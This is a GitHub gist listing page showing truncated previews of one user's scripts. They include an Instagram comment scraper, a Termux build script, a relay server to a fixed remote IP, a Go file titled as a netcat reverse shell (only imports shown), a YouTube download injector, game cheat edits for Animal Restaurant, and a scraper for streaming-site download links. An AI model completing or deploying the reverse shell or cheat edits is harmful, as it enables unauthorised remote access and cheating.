Skip to content

Instantly share code, notes, and snippets.

@seeya
seeya / instagram_giveaway_consolidator.js
Created September 3, 2023 06:45
This script uses DevTools console to extract all comments from an Instagram post. It consolidates the comments, grouping each comment with its user and extracting the username found in each comment.
function scrollToBottom(searchText, cb) {
console.log("Search Text", searchText)
let mainDiv = Array.from(document.querySelectorAll("span")).find(e => e.innerText.indexOf(searchText) != -1).parentElement.parentElement.parentElement.parentElement.parentElement.parentElement.parentElement.parentElement.parentElement.parentElement;
console.log(mainDiv)
mainDiv.scrollTo({ top: mainDiv.scrollHeight, behavior: 'smooth' });
if(mainDiv.scrollTop === mainDiv.scrollHeight - mainDiv.offsetHeight) {
console.log("We've reached the end of the comments section!");
cb();
} else {
@seeya
seeya / build-bootstrap.sh
Created December 8, 2021 17:10
Script to build termux bootstrap packages locally
#!/usr/bin/env bash
##
## Script for cross-compiling bootstrap archives without an apt repo.
## On-device builds currently not supported.
##
set -e
. $(dirname "$(realpath "$0")")/properties.sh
@seeya
seeya / index.js
Created September 25, 2020 10:41
Reverse HTTP Server
const http = require("http");
const token = "ACCESSTOKEN";
const deviceMAC = "00:00:00:00:00"
const remoteServer = "139.59.236.228:4445"
http.createServer((req, res) => {
if(!req.headers.authorization || req.headers.authorization !== "Bearer " + token)
return res.end("Unauthorized");
@seeya
seeya / reverse.go
Created September 25, 2020 09:29
A simple reverse shell using netcat. https://github.com/seeya/GoReverseShell
package main
import (
"bufio"
"io/ioutil"
"log"
"net"
"net/http"
"os"
"os/exec"
@seeya
seeya / inject.js
Last active February 8, 2020 06:57
Youtube Downloader using iOS Shortcuts + VLC
// Created by 0x6a
// Meant for iOS Shortcuts + VLC app
function download(link) {
let dl = document.createElement("div");
dl.className = 'dlbtn';
dl.style = "position: absolute; width: 100%;";
dl.innerHTML = "<a href='https://yt.frp.0x6a.bid/test?path=" + link + "' style='position: absolute; right: 22px; top: -40px; font-size: 14px; font-weight: bold; background-color: black; color: white; border-radius: 5px; padding:5px 15px 5px 15px;'>📥</a>";
return dl;
}
const express = require('express');
const app = express();
const ROUTE = "https://restaurant-1257666530.file.myqcloud.com";
createCoins: function(e, t) {
t.itemType = "coin";
t.itemValue = e * 10;
t.callback && t.target && (t.callback = t.callback.bind(t.target));
return this.createItem(t);
},
createCandys: function(e, t) {
t.itemType = "candy";
t.itemValue = e * 6;
t.callback && t.target && (t.callback = t.callback.bind(t.target));
@seeya
seeya / animal_restaurant_snippet.js
Created December 28, 2019 03:59
A snippet of Animal Restaurant source code
isFishCollision: function() {
return this.fishCollision;
},
isWasScared: function() {
if (this.forceScared) {
var e = s.default[this.fishType].fishScared;
this.rate = e.rate;
return !0;
}
if (this.scaredCollision) {
Description Modify Value/Fx
Modify coins earned createCoins: function(e...) { t.itemValue = e * 6; }
Modify candys earned createCandys: function(e...) { t.itemValue = e * 6; }
Modify loves earned createLoves: function(e...) { t.itemValue = e * 6; }
Modify stars earned createStars: function(e...) { t.itemValue = e * 6; }
Modify tips earning claimTip: function() { ... value: n * 1000 }
Modify number of touch required for promoting new customer if (this.broadcastCount >= 1)
@seeya
seeya / icdrama.js
Last active June 22, 2019 17:08
icdrama.to script to extract download link and download with aria2c
// Prepare your links in the array
// To download the file use aria2c using the command
// aria2c -x8 -j8 --input-file=dl.txt
const puppeteer = require("puppeteer");
const fs = require("fs");
const links = [
"http://www1.icdrama.to/watch-online-the-great-craftsman-episode-12-149928.html",
"http://www1.icdrama.to/watch-online-the-great-craftsman-episode-13-150136.html",
"http://www1.icdrama.to/watch-online-the-great-craftsman-episode-14-150140.html",